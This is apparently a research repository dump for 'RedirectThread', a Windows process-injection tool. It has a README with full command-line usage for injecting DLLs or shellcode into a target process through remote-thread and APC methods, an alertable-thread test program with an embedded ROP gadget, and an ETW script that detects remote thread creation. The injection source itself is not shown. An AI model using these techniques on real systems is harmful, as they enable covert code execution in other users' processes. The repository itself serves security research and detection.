├── .gitattributes ├── .gitignore ├── AlertableThreadsForDays ├── AlertableThreadsForDays.cpp ├── AlertableThreadsForDays.vcxproj └── AlertableThreadsForDays.vcxproj.filters ├── CMakeLists.txt ├── ETWThreadCreationNoise └── FindRemoteThreadsETW.ps1 ├── LICENSE ├── README.md ├── RedirectThread.sln ├── RedirectThread ├── APCInjection.cpp ├── APCInjection.h ├── Arguments.cpp ├── Arguments.h ├── CreateRemoteThreadUtil h ├── CreateRemoteThreadUtil.cpp ├── DLLInjection.cpp ├── DLLInjection.h ├── GadgetUtil.cpp ├── GadgetUtil.h ├── Helpers.cpp ├── Helpers.h ├── Injection.cpp ├── Injection.h ├── NativeAPI.cpp ├── NativeAPI.h ├── NtCreateThreadUtil.cpp ├── NtCreateThreadUtil.h ├── ProcessThread.cpp ├── ProcessThread.h ├── RedirectThread.h ├── RedirectThread.vcxproj ├── RedirectThread.vcxproj.filters └── main.cpp └── ShellcodeExamples ├── sRDI-dll-cmd-shellcode.bin └── w10-x64-calc-shellcode-msfvenom.bin /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Oo]ut/ 33 | [Ll]og/ 34 | [Ll]ogs/ 35 | 36 | # Visual Studio 2015/2017 cache/options directory 37 | .vs/ 38 | # Uncomment if you have tasks that create the project's static files in wwwroot 39 | #wwwroot/ 40 | 41 | # Visual Studio 2017 auto generated files 42 | Generated\ Files/ 43 | 44 | # MSTest test Results 45 | [Tt]est[Rr]esult*/ 46 | [Bb]uild[Ll]og.* 47 | 48 | # NUnit 49 | *.VisualState.xml 50 | TestResult.xml 51 | nunit-*.xml 52 | 53 | # Build Results of an ATL Project 54 | [Dd]ebugPS/ 55 | [Rr]eleasePS/ 56 | dlldata.c 57 | 58 | # Benchmark Results 59 | BenchmarkDotNet.Artifacts/ 60 | 61 | # .NET Core 62 | project.lock.json 63 | project.fragment.lock.json 64 | artifacts/ 65 | 66 | # ASP.NET Scaffolding 67 | ScaffoldingReadMe.txt 68 | 69 | # StyleCop 70 | StyleCopReport.xml 71 | 72 | # Files built by Visual Studio 73 | *_i.c 74 | *_p.c 75 | *_h.h 76 | *.ilk 77 | *.meta 78 | *.obj 79 | *.iobj 80 | *.pch 81 | *.pdb 82 | *.ipdb 83 | *.pgc 84 | *.pgd 85 | *.rsp 86 | *.sbr 87 | *.tlb 88 | *.tli 89 | *.tlh 90 | *.tmp 91 | *.tmp_proj 92 | *_wpftmp.csproj 93 | *.log 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio LightSwitch build output 298 | **/*.HTMLClient/GeneratedArtifacts 299 | **/*.DesktopClient/GeneratedArtifacts 300 | **/*.DesktopClient/ModelManifest.xml 301 | **/*.Server/GeneratedArtifacts 302 | **/*.Server/ModelManifest.xml 303 | _Pvt_Extensions 304 | 305 | # Paket dependency manager 306 | .paket/paket.exe 307 | paket-files/ 308 | 309 | # FAKE - F# Make 310 | .fake/ 311 | 312 | # CodeRush personal settings 313 | .cr/personal 314 | 315 | # Python Tools for Visual Studio (PTVS) 316 | __pycache__/ 317 | *.pyc 318 | 319 | # Cake - Uncomment if you are using it 320 | # tools/** 321 | # !tools/packages.config 322 | 323 | # Tabs Studio 324 | *.tss 325 | 326 | # Telerik's JustMock configuration file 327 | *.jmconfig 328 | 329 | # BizTalk build output 330 | *.btp.cs 331 | *.btm.cs 332 | *.odx.cs 333 | *.xsd.cs 334 | 335 | # OpenCover UI analysis results 336 | OpenCover/ 337 | 338 | # Azure Stream Analytics local run output 339 | ASALocalRun/ 340 | 341 | # MSBuild Binary and Structured Log 342 | *.binlog 343 | 344 | # NVidia Nsight GPU debugger configuration file 345 | *.nvuser 346 | 347 | # MFractors (Xamarin productivity tool) working folder 348 | .mfractor/ 349 | 350 | # Local History for Visual Studio 351 | .localhistory/ 352 | 353 | # BeatPulse healthcheck temp database 354 | healthchecksdb 355 | 356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 357 | MigrationBackup/ 358 | 359 | # Ionide (cross platform F# VS Code tools) working folder 360 | .ionide/ 361 | 362 | # Fody - auto-generated XML schema 363 | FodyWeavers.xsd 364 | 365 | # CMake 366 | CMakeCache.txt 367 | CMakeFiles/ 368 | cmake_install.cmake 369 | Makefile 370 | CTestTestfile.cmake 371 | build/ 372 | [Bb]uild/ 373 | 374 | .vscode/ -------------------------------------------------------------------------------- /AlertableThreadsForDays/AlertableThreadsForDays.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include // for _mm_pause / YieldProcessor 4 | 5 | #define THREAD_COUNT 10 6 | 7 | DWORD WINAPI WorkerThread(LPVOID lpParam) { 8 | DWORD tid = GetCurrentThreadId(); 9 | printf("Thread %lu started\n", tid); 10 | 11 | while (1) { 12 | // APC APC APC 13 | DWORD result = SleepEx(INFINITE, TRUE); 14 | if (result == WAIT_IO_COMPLETION) { 15 | printf("Thread %lu woke due to APC\n", tid); 16 | } 17 | } 18 | 19 | return 0; 20 | } 21 | 22 | // Worker thread non alertable 23 | // Can be APC'd with QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC -> https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ne-processthreadsapi-queue_user_apc_flags 24 | DWORD WINAPI WorkerThreadNonAlertable(LPVOID) 25 | { 26 | DWORD tid = GetCurrentThreadId(); 27 | printf("Non-alertable thread %lu started\n", tid); 28 | 29 | for (;;) 30 | _mm_pause(); // or YieldProcessor(); // or SwitchToThread(); // quick yield, non?alertable 31 | 32 | return 0; 33 | } 34 | 35 | /* -------------------- ROP gadget section -------------------- * 36 | * We emit: 50 53 C3 -> push rax / push rbx / ret 37 | * Change the opcodes if you want different registers, e.g. 38 | * push rcx = 51, push rdx = 52, push rdi = 57 39 | * 40 | * The pragma makes a new executable/read?only section (.rop$A); 41 | * __declspec(allocate) places our byte array there. 42 | * The volatile reference forces the linker to keep the symbol 43 | * even under /OPT:REF or /Gy (function?level linking). 44 | */ 45 | #pragma section(".rop$A", execute, read) // executable = .text 46 | __declspec(allocate(".rop$A")) 47 | const unsigned char g_pushrax_pushrbx_ret[3] = { 0x50, 0x53, 0xC3 }; 48 | 49 | volatile const void* const g_gadget_ref = g_pushrax_pushrbx_ret; 50 | /* -------------------------------------------------------------- */ 51 | 52 | // Example APC function 53 | VOID CALLBACK ExampleAPC(ULONG_PTR dwParam) { 54 | printf("APC executed in thread %lu with param: %llu\n", GetCurrentThreadId(), (unsigned long long)dwParam); 55 | } 56 | 57 | int main() { 58 | HANDLE threads[THREAD_COUNT]; 59 | 60 | printf("Process PID: %lu\n", GetCurrentProcessId()); 61 | 62 | // Spawn 10 worker threads 63 | for (int i = 0; i < THREAD_COUNT; ++i) { 64 | threads[i] = CreateThread(NULL, 0, WorkerThread, NULL, 0, NULL); 65 | if (!threads[i]) { 66 | printf("Failed to create thread %d\n", i); 67 | } 68 | } 69 | 70 | // Spawn 1 thread non-alertable 71 | HANDLE nonAlertableThread = CreateThread(NULL, 0, WorkerThreadNonAlertable, NULL, 0, NULL); 72 | 73 | // Main loop: queue an APC every 5 seconds to a random thread 74 | while (1) { 75 | Sleep(5000); 76 | 77 | int target = rand() % THREAD_COUNT; 78 | printf("Queuing APC to thread[%d]\n", target); 79 | QueueUserAPC(ExampleAPC, threads[target], (ULONG_PTR)(target + 1)); 80 | } 81 | 82 | // Main thread just waits forever 83 | WaitForMultipleObjects(THREAD_COUNT, threads, TRUE, INFINITE); 84 | 85 | return 0; 86 | } 87 | -------------------------------------------------------------------------------- /AlertableThreadsForDays/AlertableThreadsForDays.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {7e363bb8-a131-497e-853b-ed856fc201e0} 25 | AlertableThreadsForDays 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Console 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | 134 | 135 | Console 136 | true 137 | true 138 | true 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | -------------------------------------------------------------------------------- /AlertableThreadsForDays/AlertableThreadsForDays.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.10) 2 | 3 | project(RedirectThread) 4 | 5 | # Set C++ standard 6 | set(CMAKE_CXX_STANDARD 17) 7 | set(CMAKE_CXX_STANDARD_REQUIRED True) 8 | 9 | # Add AlertableThreadsForDays executable 10 | add_executable(AlertableThreadsForDays 11 | AlertableThreadsForDays/AlertableThreadsForDays.cpp 12 | ) 13 | 14 | # Add RedirectThread executable 15 | add_executable(RedirectThread 16 | RedirectThread/Arguments.cpp 17 | RedirectThread/GadgetUtil.cpp 18 | RedirectThread/Injection.cpp 19 | RedirectThread/main.cpp 20 | RedirectThread/NativeAPI.cpp 21 | RedirectThread/NtCreateThreadUtil.cpp 22 | RedirectThread/ProcessThread.cpp 23 | RedirectThread/APCInjection.cpp 24 | RedirectThread/CreateRemoteThreadUtil.cpp 25 | RedirectThread/DLLInjection.cpp 26 | RedirectThread/Helpers.cpp 27 | ) 28 | 29 | # Add include directories if necessary, for example: 30 | # target_include_directories(RedirectThread PUBLIC ${CMAKE_CURRENT_SOURCE_DIR}/RedirectThread) 31 | # target_include_directories(AlertableThreadsForDays PUBLIC ${CMAKE_CURRENT_SOURCE_DIR}/AlertableThreadsForDays) 32 | 33 | # Add link libraries if necessary, for example: 34 | # target_link_libraries(RedirectThread PRIVATE some_library) 35 | 36 | # Optional: Set output directory for executables 37 | # set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin) 38 | -------------------------------------------------------------------------------- /ETWThreadCreationNoise/FindRemoteThreadsETW.ps1: -------------------------------------------------------------------------------- 1 | # Start a trace listening to a provider with some thread creation events 2 | # logman start ProcessActivityTrace -p "Microsoft-Windows-Kernel-Process" 0x30 -ets -o C:tempProcessActivity.etl -max 512 3 | 4 | # Let it run for a few seconds 5 | # logman stop ProcessActivityTrace -ets 6 | 7 | # convert to a more viewable and parsable format 8 | # tracerpt C:tempProcessActivity.etl -o C:tempProcessActivity.xml -of XML 9 | 10 | # Analyze a "Microsoft-Windows-Kernel-Process" etw trace, for thread creation across processes. 11 | 12 | param( 13 | [Parameter(Mandatory=$true)] 14 | [string]$XmlFilePath = "C:tempSystemActivity_New.xml" # Specify the path to your XML file 15 | ) 16 | 17 | if (-not (Test-Path -Path $XmlFilePath)) { 18 | Write-Error "XML file not found: $XmlFilePath" 19 | return 20 | } 21 | 22 | Write-Host "Loading and analyzing '$XmlFilePath'..." 23 | 24 | # Load the XML (use -Raw for large files) 25 | try { 26 | [xml]$xmlDoc = Get-Content -Path $XmlFilePath -Raw -ErrorAction Stop 27 | } catch { 28 | Write-Error "Failed to load or parse XML file '$XmlFilePath'. Error: $_" 29 | return 30 | } 31 | 32 | $remoteThreadEvents = @() 33 | 34 | # Loop through each event 35 | foreach ($event in $xmlDoc.Events.Event) { 36 | # Check for ThreadStart Task (3) and Opcode (1) 37 | if ($event.System.Task -eq '3' -and $event.System.Opcode -eq '1') { 38 | 39 | # Get Creator Process ID (from System section) 40 | $creatorPidStr = $null 41 | if ($event.System.Execution -ne $null) { 42 | $creatorPidStr = $event.System.Execution.ProcessID 43 | } 44 | 45 | # Get Target Process ID (from EventData section) 46 | $targetPidStr = $null 47 | if ($event.EventData -ne $null -and $event.EventData.Data -ne $null) { 48 | # Find the Data element specifically named "ProcessID" 49 | $targetPidData = $event.EventData.Data | Where-Object { $_.Name -eq 'ProcessID' } | Select-Object -First 1 50 | if ($targetPidData -ne $null) { 51 | $targetPidStr = $targetPidData.'#text' 52 | } 53 | } 54 | 55 | # Get Timestamp 56 | $timestamp = $null 57 | if ($event.System.TimeCreated -ne $null) { 58 | $timestamp = $event.System.TimeCreated.SystemTime 59 | } 60 | 61 | # Convert PIDs to integers for comparison (handle potential conversion errors) 62 | $creatorPid = $null 63 | $targetPid = $null 64 | $isValid = $true 65 | try { 66 | if ($creatorPidStr -ne $null) { $creatorPid = [int]$creatorPidStr } else { $isValid = $false } 67 | if ($targetPidStr -ne $null) { $targetPid = [int]$targetPidStr } else { $isValid = $false } 68 | } catch { 69 | # Write-Warning "Error converting PID at Timestamp $timestamp : $_" # Optional: show conversion errors 70 | $isValid = $false 71 | } 72 | 73 | # If PIDs are valid and different, it's a remote thread 74 | if ($isValid -and $creatorPid -ne $targetPid) { 75 | $result = [PSCustomObject]@{ 76 | Timestamp = $timestamp 77 | CreatorPID = $creatorPid 78 | TargetPID = $targetPid 79 | } 80 | $remoteThreadEvents += $result 81 | } 82 | } 83 | } 84 | 85 | # Display results 86 | if ($remoteThreadEvents.Count -gt 0) { 87 | Write-Host "`n--- Detected Remote Thread Creation Events ---" -ForegroundColor Green 88 | $remoteThreadEvents | Format-Table -AutoSize 89 | } else { 90 | Write-Host "`nNo remote thread creation events found in the log." -ForegroundColor Yellow 91 | } 92 | 93 | Write-Host "Analysis complete." 94 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Friends & Security 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RedirectThread 2 | 3 | This tool explores various techniques for remote code execution and thread manipulation on Windows, originating from the `CONTEXT` struct. 4 | 5 | For a detailed explanation of the research and techniques, please refer to our blog post: **[New Process Injection Class: The CONTEXT-Only Attack Surface](https://blog.fndsec.net/2025/05/16/the-context-only-attack-surface/)** 6 | 7 | ## TL;DR 8 | 9 | Most process injection techniques follow a familiar pattern: 10 | allocate → write → execute. 11 | 12 | In this research, we ask: what if we skip allocation and writing entirely? 13 | 14 | By focusing on execution-only primitives, we found distinct approaches to inject code without allocating / writing memory: 15 | 16 | * Inject a DLL using only `LoadLibraryA`. 17 | * Call arbitrary WinAPI functions with parameters using `SetThreadContext`, without suspending a thread. 18 | * Utilize only `NtCreateThread` to remotely allocate, write and execute shellcode. 19 | * Expand the technique to APC functions such as `QueueUserAPC`. 20 | 21 | This isn’t classic thread hijacking — we don’t necessarily suspend/resume a thread mid-execution to overwrite it. 22 | 23 | ## Projects Included 24 | 25 | This solution contains the following main projects: 26 | 27 | * **`RedirectThread`**: A tool demonstrating various remote thread injection techniques utilizing the `CONTEXT` struct while avoiding allocating / writing memory remotely (and some ROP gadgets). 28 | * **`AlertableThreadsForDays`**: A utility for creating alertable threads, for testing with APC-based injection methods. 29 | 30 | ## Usage 31 | 32 | ``` 33 | Usage: C:\RedirectThread.exe [options] 34 | 35 | Required Options: 36 | --pid Target process ID to inject into 37 | --inject-dll Perform DLL injection (hardcoded to "0.dll") 38 | --inject-shellcode Perform shellcode injection from file 39 | --inject-shellcode-bytes Perform shellcode injection from hex string (e.g. 9090c3) 40 | 41 | Delivery Method Options: 42 | --method Specify code execution method 43 | CreateRemoteThread Default, creates a remote thread 44 | NtCreateThread Uses NtCreateThread (less traceable) 45 | QueueUserAPC Uses QueueUserAPC (requires --tid) 46 | QueueUserAPC2 Uses QueueUserAPC2 (requires --tid) 47 | NtQueueApcThread Uses NtQueueApcThread (requires --tid) 48 | NtQueueApcThreadEx Uses NtQueueApcThreadEx (requires --tid) 49 | NtQueueApcThreadEx2 Uses NtQueueApcThreadEx2 (requires --tid) 50 | 51 | Context Method Options: 52 | --context-method Specify context manipulation method 53 | rop-gadget Default, uses ROP gadget technique 54 | two-step Uses a two-step thread hijacking approach 55 | 56 | Additional Options: 57 | --tid Target thread ID (required for APC methods) 58 | --alloc-size Memory allocation size in bytes (default: 4096) 59 | --alloc-perm Memory protection flags in hex (default: 0x40) 60 | --alloc-address Specify base address for allocation (hex, optional) 61 | --use-suspend Use thread suspension for increased reliability 62 | --verbose Enable verbose output 63 | --enter-debug Pause execution at key points for debugger attachment 64 | 65 | Example: 66 | C:\RedirectThread.exe --pid 1234 --inject-dll mydll.dll 67 | C:\RedirectThread.exe --pid 1234 --inject-shellcode payload.bin --verbose 68 | C:\RedirectThread.exe --pid 1234 --inject-shellcode payload.bin --method NtCreateThread 69 | C:\RedirectThread.exe --pid 1234 --inject-shellcode-bytes 9090c3 --method QueueUserAPC --tid 5678 70 | C:\RedirectThread.exe --pid 1234 --inject-shellcode-bytes $bytes --context-method two-step --method NtQueueUserApcThreadEx2 --tid 5678 71 | ``` 72 | 73 | ## Building the Project 74 | 75 | You can build this project using either CMake or Visual Studio directly with the provided solution file (`RedirectThread.sln`). 76 | 77 | ### Option 1: Using CMake 78 | 79 | This project can be built using CMake. You can either use CMake from the command line (if CMake is installed and in your system's PATH) or leverage the CMake Tools extension if you are using Visual Studio Code. 80 | 81 | #### Prerequisites 82 | 83 | * A C++ compiler that supports C++17 (e.g., MSVC, GCC, Clang). 84 | * CMake (version 3.10 or higher). 85 | 86 | #### Build Steps 87 | 88 | The following steps describe building with CMake from the command line. If you are using the CMake Tools extension in VSCode, you can often perform the configuration and build steps through the extension's UI instead of running these commands manually. 89 | 90 | 1. **Clone the repository:** 91 | ```bash 92 | git clone 93 | cd RedirectThread 94 | ``` 95 | 96 | 2. **Create a build directory and navigate into it:** 97 | ```bash 98 | mkdir build 99 | cd build 100 | ``` 101 | 102 | 3. **Configure the project with CMake:** 103 | * For Visual Studio (example for Visual Studio 2019, 64-bit): 104 | ```bash 105 | cmake .. -G "Visual Studio 16 2019" -A x64 106 | ``` 107 | * For Makefiles (example): 108 | ```bash 109 | cmake .. 110 | ``` 111 | * For other generators, please refer to CMake documentation. 112 | 113 | 4. **Build the project:** 114 | * For Visual Studio: 115 | ```bash 116 | cmake --build . --config Release 117 | ``` 118 | * For Makefiles: 119 | ```bash 120 | make 121 | ``` 122 | 123 | Executables will typically be located in a subdirectory within your build folder (e.g., `build/Release` or `build/RedirectThread/Release`). 124 | 125 | ### Option 2: Using Visual Studio Solution File 126 | 127 | 1. Open `RedirectThread.sln` in Visual Studio. 128 | 2. Select the desired build configuration (e.g., Release, x64). 129 | 3. Build the solution (Build > Build Solution). 130 | 131 | Executables will be located in the respective project output directories (e.g., `x64/Release`). 132 | 133 | -------------------------------------------------------------------------------- /RedirectThread.sln: -------------------------------------------------------------------------------- 1 | Microsoft Visual Studio Solution File, Format Version 12.00 2 | # Visual Studio Version 16 3 | VisualStudioVersion = 16.0.35931.194 4 | MinimumVisualStudioVersion = 10.0.40219.1 5 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "AlertableThreadsForDays", "AlertableThreadsForDays\AlertableThreadsForDays.vcxproj", "{7E363BB8-A131-497E-853B-ED856FC201E0}" 6 | EndProject 7 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RedirectThread", "RedirectThread\RedirectThread.vcxproj", "{8A4B5C6D-7E8F-9012-3456-789ABCDEF012}" 8 | EndProject 9 | Global 10 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 11 | Debug|x64 = Debug|x64 12 | Debug|x86 = Debug|x86 13 | Release|x64 = Release|x64 14 | Release|x86 = Release|x86 15 | EndGlobalSection 16 | 